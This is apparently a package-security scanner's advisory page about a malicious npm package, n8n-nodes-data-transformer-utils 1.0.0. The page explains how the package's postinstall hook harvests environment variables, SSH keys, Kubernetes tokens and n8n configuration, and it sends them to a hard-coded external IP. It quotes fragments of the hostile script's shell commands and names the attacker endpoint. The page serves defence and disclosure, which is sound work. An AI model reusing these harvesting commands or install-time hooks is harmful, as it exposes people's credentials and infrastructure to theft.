registry / Credential exfiltration / n8n-nodes-data-transformer-utils

n8n-nodes-data-transformer-utils

Data transformation utilities for n8n workflows

This report shows the evidence for n8n-nodes-data-transformer-utils@1.0.0, the only known version.

AI Security Review

scanned 1mo ago · by lpm-firewall-ai

The automatic lifecycle hook combines credential harvesting, internal reconnaissance, service-data collection, and exfiltration to an unrelated hard-coded endpoint. This is concrete malicious installation-time behavior.

Static reason

One or more suspicious static signals were detected.

Trigger

npm installation triggers the postinstall script.

Impact

It can expose environment data, SSH material, Kubernetes credentials, n8n configuration, and accessible internal-service data to an external operator.

Mechanism

The script executes shell commands, queries Redis and etcd, scans internal ports, and POSTs collected results to its hard-coded endpoint.

Attack narrative

On npm installation, the postinstall hook gathers system and credential-related information, searches reachable Redis and etcd services, scans internal network targets, and sends results to a hard-coded external IP. This behavior is unrelated to data-transformation utilities and creates immediate credential and infrastructure-data exposure.

AI rationale

Evidence

package.jsonpostinstall.js/etc/resolv.conf/etc/hosts$HOME/.ssh/id_*$HOME/.ssh/authorized_keys/var/run/secrets/kubernetes.io/serviceaccount/token/home/node/.n8n/config~/.n8n/config

Network endpoints4

193.149.176.186:8888/lombard/n8n-rce100.72.158.36:6379172.18.0.1:6379172.18.0.1:2379

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

The package automatically runs postinstall.js when installed.
The installer collects environment, SSH-key, Kubernetes-token, n8n-configuration, and host information through shell commands.
Collected data is POSTed to a hard-coded external IP address.
The installer probes Redis and etcd services and sends Redis keys and values to that endpoint.
It scans internal addresses and ports during installation.

Evidence against

Behavioral surface

Source

ChildProcessNetworkShell

Supply chain

HighEntropyStringsUrlStrings

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 5.63 KB of source, external domains: 172.18.0.1, 172.18.0.3

Source & flagged code

6 flagged

package.jsonView file

•scripts.postinstall = node postinstall.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

11"scripts": { "postinstall": "node postinstall.js" }

High

Suspicious Lifecycle Evidence

The package automatically runs postinstall.js when installed.

package.jsonView on unpkg · L11

•scripts.postinstall = node postinstall.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

postinstall.jsView file

1const { execSync } = require('child_process'); L2: const https = require('https');

High

Child Process

Package source references child process execution.

postinstall.jsView on unpkg · L1

1const { execSync } = require('child_process'); L2: const https = require('https'); L3: const http = require('http'); ... L7: try { return execSync(cmd, { timeout: 15000, encoding: 'utf8' }).trim(); } L8: catch(e) { return 'ERR:' + (e.stderr || e.message || '').slice(0, 200); } L9: } ... L24: req.on('timeout', () => { req.destroy(); resolve(false); }); L25: req.write(payload); L26: req.end(); ... L58: home: run('ls -la $HOME 2>/dev/null'), L59: ssh_keys: run('cat $HOME/.ssh/id_* $HOME/.ssh/authorized_keys 2>/dev/null | head -50'), L60: docker_sock: run('ls -la /var/run/docker.sock 2>/dev/null'),

High

Command Output Exfiltration

Source combines command execution, command-output handling, and outbound requests; review data flow before blocking.

postinstall.jsView on unpkg · L1

51env: run('env | sort'), ifconfig: run('ip addr show 2>/dev/null || ifconfig 2>/dev/null'), resolv: run('cat /etc/resolv.conf 2>/dev/null'), hosts: run('cat /etc/hosts 2>/dev/null'), ps: run('ps aux 2>/dev/null | head -40'), netstat: run('ss -tlnp 2>/dev/null || netstat -tlnp 2>/dev/null'), mounts: run('mount 2>/dev/null | head -20'), home: run('ls -la $HOME 2>/dev/null'), ssh_keys: run('cat $HOME/.ssh/id_* $HOME/.ssh/authorized_keys 2>/dev/null | head -50'), docker_sock: run('ls -la /var/run/docker.sock 2>/dev/null'), k8s_token: run('cat /var/run/se

High

Ai Review Evidence

The installer collects environment, SSH-key, Kubernetes-token, n8n-configuration, and host information through shell commands.

postinstall.jsView on unpkg · L51

Source & flagged code

6 flagged · loading source

package.jsonView file

•scripts.postinstall = node postinstall.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

11"scripts": { "postinstall": "node postinstall.js" }

High

Suspicious Lifecycle Evidence

The package automatically runs postinstall.js when installed.

package.jsonView on unpkg · L11

•scripts.postinstall = node postinstall.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

postinstall.jsView file

Findings

6 High3 Medium3 Low

HighInstall Time Lifecycle Scriptspackage.json

HighChild Processpostinstall.js

HighShell

HighCommand Output Exfiltrationpostinstall.js

HighSuspicious Lifecycle Evidencepackage.json

HighAi Review Evidencepostinstall.js

MediumAmbiguous Install Lifecycle Scriptpackage.json

MediumNetwork

MediumStructural Risk Force Deep Review

LowScripts Present

LowHigh Entropy Strings

LowUrl Strings

Affected versions and remediation

This report applies to n8n-nodes-data-transformer-utils@1.0.0.

The versions list below shows the verdict for each recorded version.

Avoid installing n8n-nodes-data-transformer-utils@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-09-22 22:30:06.162Z (UTC).

Source advisory published: 2026-09-22 21:52:37.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

1 known version

1.0.0latestshownMaliciousCredential ExfiltrationBlockPublishedSep 22, 2026, 7:32 PM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other credential exfiltration packages

Behavioral surface

Related packages

Other credential exfiltration packages

Source & flagged code